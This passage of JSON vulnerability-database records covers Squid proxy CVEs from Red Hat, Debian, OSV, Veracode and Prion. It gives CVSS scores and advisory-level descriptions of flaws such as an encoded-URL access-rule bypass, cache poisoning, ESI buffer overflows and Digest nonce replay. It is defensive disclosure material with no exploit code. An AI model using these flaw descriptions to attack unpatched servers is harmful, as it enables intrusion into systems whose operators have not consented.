"NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-04-24T09:03:38", "type": "redhatcve", "title": "CVE-2019-12524", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12524"], "modified": "2023-04-06T05:38:52", "id": "RH:CVE-2019-12524", "href": "https://access.redhat.com/security/cve/cve-2019-12524", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-04T11:42:03", "description": "A flaw was found in squid. When Squid is parsing ESI, it keeps the ESI elements in ESIContext. ESIContext contains a buffer for holding a stack of ESIElements. When a new ESIElement is parsed, it is added via addStackElement. addStackElement has a check for the number of elements in this buffer, but it's off by 1, leading to a Heap Overflow of 1 element. The overflow is within the same structure so it can't affect adjacent memory blocks, and thus just leads to a crash while processing.\n", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 5.9, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2020-04-24T08:33:38", "type": "redhatcve", "title": "CVE-2019-12521", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12521"], "modified": "2023-04-06T05:38:42", "id": "RH:CVE-2019-12521", "href": "https://access.redhat.com/security/cve/cve-2019-12521", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}}, {"lastseen": "2023-12-04T11:42:02", "description": "A flaw was found in Squid through version 4.7. When handling the tag esi:when, when ESI is enabled, Squid calls the ESIExpression::Evaluate function which uses a fixed stack buffer to hold the expression. While processing the expression, there is no check to ensure that the stack won't overflow. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-04-24T08:03:41", "type": "redhatcve", "title": "CVE-2019-12519", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12519"], "modified": "2023-09-07T23:06:09", "id": "RH:CVE-2019-12519", "href": "https://access.redhat.com/security/cve/cve-2019-12519", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-04T11:42:02", "description": "A flaw was found in Squid, where a remote attacker can replay a sniffed Digest Authentication nonce to gain access to resources that are otherwise forbidden. This issue occurs because the attacker can overflow the nonce reference counter, which results in remote code execution if the pooled token credentials are freed.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-04-24T08:33:53", "type": "redhatcve", "title": "CVE-2020-11945", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-11945"], "modified": "2023-09-07T23:07:39", "id": "RH:CVE-2020-11945", "href": "https://access.redhat.com/security/cve/cve-2020-11945", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "osv": [{"lastseen": "2022-08-05T05:18:51", "description": "\nIt was found that Squid, a high-performance proxy caching server for\nweb clients, has been affected by multiple security vulnerabilities.\nDue to incorrect input validation and URL request handling it was\npossible to bypass access restrictions for restricted HTTP servers\nand to cause a denial-of-service.\n\n\nFor Debian 9 stretch, these problems have been fixed in version\n3.5.23-5+deb9u2.\n\n\nWe recommend that you upgrade your squid3 packages.\n\n\nFor the detailed security status of squid3 please refer to\nits security tracker page at:\n<https://security-tracker.debian.org/tracker/squid3>\n\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: <https://wiki.debian.org/LTS>\n\n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-07-10T00:00:00", "type": "osv", "title": "squid3 - security update", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12519", "CVE-2019-12529", "CVE-2019-12528", "CVE-2019-18677", "CVE-2019-12523", "CVE-2019-13345", "CVE-2019-18678", "CVE-2019-12524", "CVE-2019-12520", "CVE-2019-12521", "CVE-2019-18676", "CVE-2019-18860", "CVE-2020-8450", "CVE-2018-19132", "CVE-2019-12525", "CVE-2020-11945", "CVE-2019-12526", "CVE-2019-18679", "CVE-2020-8449"], "modified": "2022-08-05T05:18:49", "id": "OSV:DLA-2278-1", "href": "https://osv.dev/vulnerability/DLA-2278-1", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "veracode": [{"lastseen": "2022-07-26T13:34:11", "description": "squid3 is vulnerable to arbitrary code execution. The vulnerability exists as squid by default comes with rules to block access to the Cache Manager, which serves detailed server information meant for the maintainer, that allows encoded URLs to bypass the `url_regex` check.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-09-21T06:21:27", "type": "veracode", "title": "Arbitrary Code Execution", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12524"], "modified": "2021-02-05T15:25:37", "id": "VERACODE:26840", "href": "https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-26840/summary", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-07-26T16:40:10", "description": "squid3 is vulnerable to HTTP Request Injection. The vulnerability exists through special characters in the decoded UserInfo, which is prepended in the absolute URLs, when it checks its cache to see if it can serve up a response on request by making a MD5 hash of the absolute URL of the request. \n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2020-09-21T06:40:51", "type": "veracode", "title": "HTTP Request Injection", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12520"], "modified": "2021-02-05T15:25:35", "id": "VERACODE:27193", "href": "https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-27193/summary", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2022-07-26T16:50:57", "description": "squid:eoan is vulnerable to buffer overflow. An issue was discovered in Squid when Squid is parsing ESI, it keeps the ESI elements in ESIContext. ESIContext contains a buffer for holding a stack of ESIElements. When a new ESIElement is parsed, it is added via addStackElement. addStackElement has a check for the number of elements in this buffer, but it's off by 1, leading to a Heap Overflow of 1 element. The overflow is within the same structure so it can't affect adjacent memory blocks, and thus just leads to a crash while processing.\n", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 5.9, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2020-09-21T06:36:05", "type": "veracode", "title": "Buffer Overflow", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12521"], "modified": "2021-02-05T15:25:35", "id": "VERACODE:27113", "href": "https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-27113/summary", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}}, {"lastseen": "2022-07-27T10:09:22", "description": "Squid is vulnerable to denial of service (DoS). Due to an improper check for new member in ESIExpression::Evaluate allows for stack buffer overflow.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-05-07T02:01:35", "type": "veracode", "title": "Denial Of Service (DoS)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12519"], "modified": "2021-02-05T15:25:34", "id": "VERACODE:25192", "href": "https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-25192/summary", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-07-27T10:09:24", "description": "Squid is vulnerable to remote code execution (RCE). Due to an improper access restriction upon Digest Authentication nonce replay, it could lead to remote code execution.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-05-07T02:01:36", "type": "veracode", "title": "Remote Code Execution (RCE)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-11945"], "modified": "2021-03-17T14:31:19", "id": "VERACODE:25194", "href": "https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-25194/summary", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "prion": [{"lastseen": "2023-11-22T01:57:15", "description": "An issue was discovered in Squid through 4.7. When handling requests from users, Squid checks its rules to see if the request should be denied. Squid by default comes with rules to block access to the Cache Manager, which serves detailed server information meant for the maintainer. This rule is implemented via url_regex. The handler for url_regex rules URL decodes an incoming request. This allows an attacker to encode their URL to bypass the url_regex check, and gain access to the blocked resource.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-04-15T19:15:00", "type": "prion", "title": "Design/Logic Flaw", "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12524"], "modified": "2021-02-09T16:55:00", "id": "PRION:CVE-2019-12524", "href": "https://www.prio-n.com/kb/vulnerability/CVE-2019-12524", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-11-22T01:57:14", "description": "An issue was discovered in Squid through 4.7 and 5. When receiving a request, Squid checks its cache to see if it can serve up a response. It does this by making a MD5 hash of the absolute URL of the request. If found, it servers the request. The absolute URL can include the decoded UserInfo (username and password) for certain protocols. This decoded info is prepended to the domain. This allows an attacker to provide a username that has special characters to delimit the domain, and treat the rest of the URL as a path or query string. An attacker could first make a request to their domain using an encoded username, then when a request for the target domain comes in that decodes to the exact URL, it will serve the attacker's HTML instead of the real HTML. On Squid servers that also act as reverse proxies, this allows an attacker to gain access to features that only reverse proxies can use, such as ESI.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2020-04-15T20:15:00", "type": "prion", "title": "Cross site request forgery (csrf)", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12520"], "modified": "2021-02-11T14:42:00", "id": "PRION:CVE-2019-12520", "href": "https://www.prio-n.com/kb/vulnerability/CVE-2019-12520", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2023-11-22T01:57:15", "description": "An issue was discovered in Squid through 4.7. When Squid is parsing ESI, it keeps the ESI elements in ESIContext. ESIContext contains a buffer for holding a stack of ESIElements. When a new ESIElement is parsed, it is added via addStackElement. addStackElement has a check for the number of elements in this buffer, but it's off by 1, leading to a Heap Overflow of 1 element. The overflow is within the same structure so it can't affect adjacent memory blocks, and thus just leads to a crash while processing.", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 5.9, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2020-04-15T19:15:00", "type": "prion", "title": "Design/Logic Flaw", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12521"], "modified": "2021-07-21T11:39:00", "id": "PRION:CVE-2019-12521", "href": "https://www.prio-n.com/kb/vulnerability/CVE-2019-12521", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}}, {"lastseen": "2023-11-22T01:57:14", "description": "An issue was discovered in Squid through 4.7. When handling the tag esi:when when ESI is enabled, Squid calls ESIExpression::Evaluate. This function uses a fixed stack buffer to hold the expression while it's being evaluated. When processing the expression, it could either evaluate the top of the stack, or add a new member to the stack. When adding a new member, there is no check to ensure that the stack won't overflow.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-04-15T20:15:00", "type": "prion", "title": "Stack overflow", "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12519"], "modified": "2021-02-11T14:43:00", "id": "PRION:CVE-2019-12519", "href": "https://www.prio-n.com/kb/vulnerability/CVE-2019-12519", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-11-22T01:15:39", "description": "An issue was discovered in Squid before 5.0.2. A remote attacker can replay a sniffed Digest Authentication nonce to gain access to resources that are otherwise forbidden. This occurs because the attacker can overflow the nonce reference counter (a short integer). Remote code execution may occur if the pooled token credentials are freed (instead of replayed as valid credentials).", "cvss3": {"cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}}, "published": "2020-04-23T15:15:00", "type": "prion", "title": "Design/Logic Flaw", "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-11945"], "modified": "2023-11-07T03:15:00", "id": "PRION:CVE-2020-11945", "href": "https://www.prio-n.com/kb/vulnerability/CVE-2020-11945", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "debiancve": [{"lastseen": "2023-12-03T15:24:43", "description": "An issue was discovered in Squid through 4.7. When handling requests from users, Squid checks its rules to see if the request should be denied. Squid by default comes with rules to block access to the Cache Manager, which serves detailed server information meant for the maintainer. This rule is implemented via url_regex. The handler for url_regex rules URL decodes an incoming request. This allows an attacker to encode their URL to bypass the url_regex check, and gain access to the blocked resource.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-04-15T19:15:00", "type": "debiancve", "title": "CVE-2019-12524", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12524"], "modified": "2020-04-15T19:15:00", "id": "DEBIANCVE:CVE-2019-12524", "href": "https://security-tracker.debian.org/tracker/CVE-2019-12524", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T15:24:43", "description": "An issue was discovered in Squid through 4.7. When handling the tag esi:when when ESI is enabled, Squid calls ESIExpression::Evaluate. This function uses a fixed stack buffer to hold the expression while it's being evaluated. When processing the expression, it could either evaluate the top of the stack, or add a new member to the stack. When adding a new member, there is no check to ensure that the stack won't overflow.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-04-15T20:15:00", "type": "debiancve", "title": "CVE-2019-12519", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12519"], "modified": "2020-04-15T20:15:00", "id": "DEBIANCVE:CVE-2019-12519", "href": "https://security-tracker.debian.org/tracker/CVE-2019-12519", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T15:24:43", "description": "An issue was discovered in Squid through 4.7 and 5. When receiving a request, Squid checks its cache to see if it can serve up a response. It does this by making a MD5 hash of the absolute URL of the request. If found, it servers the request. The absolute URL can include the decoded UserInfo (username and password) for certain protocols. This decoded info is prepended to the domain. This allows an attacker to provide a username that has special characters to delimit the domain, and treat the rest of the URL as a path or query string. An attacker could first make a request to their domain using an encoded username, then when a request for the target domain comes in that decodes to the exact URL, it will serve the attacker's HTML instead of the real HTML. On Squid servers that also act as reverse proxies, this allows an attacker to gain access to features that only reverse proxies can use, such as ESI.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", 